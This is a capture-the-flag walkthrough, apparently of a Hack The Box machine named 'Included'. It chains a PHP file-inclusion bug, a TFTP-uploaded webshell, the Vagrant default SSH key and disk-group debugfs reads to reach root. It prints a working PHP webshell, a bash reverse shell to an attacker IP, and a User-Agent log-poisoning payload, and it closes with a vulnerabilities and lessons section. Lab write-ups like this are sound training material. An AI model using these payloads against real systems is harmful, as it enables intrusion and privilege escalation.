TL;DR
Included is a Linux box with a PHP web app using include() with a ?file= parameter. LFI reads /proc/net/udp revealing TFTP on UDP/69. Upload shell.php to the TFTP root via tftp, then trigger LFI to execute it. vagrant group membership on the machine points to a Vagrant dev VM — the default insecure private key gives SSH. The vagrant user is in the disk group — debugfs reads root’s home directory directly.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
80/tcp open http Apache httpd 2.4.41
Only TCP 80. UDP scan for TFTP:
$ sudo nmap -sU -p 69 10.129.x.x
69/udp open|filtered tftp
LFI Discovery
2. File inclusion parameter
$ curl "http://10.129.x.x/?file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
...
vagrant:x:1000:1000::/home/vagrant:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Classic include($_GET['file']) without path restriction.
3. TFTP root via /proc/net/udp
$ curl "http://10.129.x.x/?file=/proc/net/udp"
sl local_address rem_address st tx_queue rx_queue
0: 00000000:0045 00000000:0000 07 00000000:00000000
# 0x0045 = 69 decimal = TFTP port
TFTP is running and bound to all interfaces.
RCE via TFTP Upload + LFI
4. Upload webshell over TFTP
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
$ tftp 10.129.x.x
tftp> put shell.php
Sent 31 bytes in 0.0 seconds
TFTP default upload directory: /var/lib/tftpboot/
5. LFI executes the shell
$ curl "http://10.129.x.x/?file=/var/lib/tftpboot/shell.php&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade to reverse shell:
$ curl "http://10.129.x.x/?file=/var/lib/tftpboot/shell.php" \
--get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'"
www-data@included:/var/www/html$
Lateral Movement — vagrant
6. Vagrant default key
The vagrant user exists in /home/vagrant. Vagrant development VMs ship with a known insecure private key:
$ curl -o vagrant.key \
https://raw.githubusercontent.com/hashicorp/vagrant/main/keys/vagrant
$ chmod 600 vagrant.key
$ ssh -i vagrant.key vagrant@10.129.x.x
vagrant@included:~$ cat user.txt
[user flag]
Privilege Escalation — disk group
7. Group membership check
vagrant@included:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),114(sambashare),1001(disk)
The disk group grants raw read access to block devices.
8. debugfs → root
vagrant@included:~$ debugfs /dev/sda1
debugfs 1.45.5
debugfs: ls /root
12 (4) . 11 (4) ..
131117 (24) .bash_history 131120 (16) .bashrc
131118 (12) .profile 131121 (12) root.txt
debugfs: cat /root/root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | LFI via include() without path restriction | High |
| 2 | TFTP with no authentication (world-writable) | High |
| 3 | Vagrant default insecure SSH key left on system | Critical |
| 4 | disk group membership for vagrant user | Critical |
Lessons learned
- LFI + writable TFTP = RCE. The LFI → TFTP chain is elegant: TFTP doesn’t require auth to upload, and LFI can include any file the web process can read. The TFTP root is typically readable by web processes.
- Vagrant is for development — never leave it on internet-facing systems. The insecure private key is by design for local development. On any production-adjacent machine,
vagrantshould be removed entirely. diskgroup is a local root equivalent. Raw block device access bypasses all filesystem permissions.diskgroup membership should never be granted to non-administrator users./proc/net/udpleaks UDP services. When UDP services are obscured from TCP port scans, the proc filesystem often reveals them if you have file read access.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Attempted log poisoning via Apache access log (User-Agent injection) | curl -A '<?php system($_GET["cmd"]); ?>' http://10.129.x.x/ followed by LFI /var/log/apache2/access.log → Permission denied — www-data lacked read access to /var/log/apache2/ | Found /proc/net/udp via LFI: hex port 0x0045=69 → TFTP running, shifted to TFTP upload vector |
First tftp put shell.php — file uploaded but LFI returned empty output | Transferred in ASCII mode; PHP file was silently corrupt (newlines mangled) | Ran binary in tftp session, re-uploaded — LFI executed correctly |
| Tried vagrant:vagrant SSH password | Permission denied (publickey) — password auth disabled, key-only | Downloaded Vagrant default insecure private key from GitHub, chmod 600, SSH succeeded |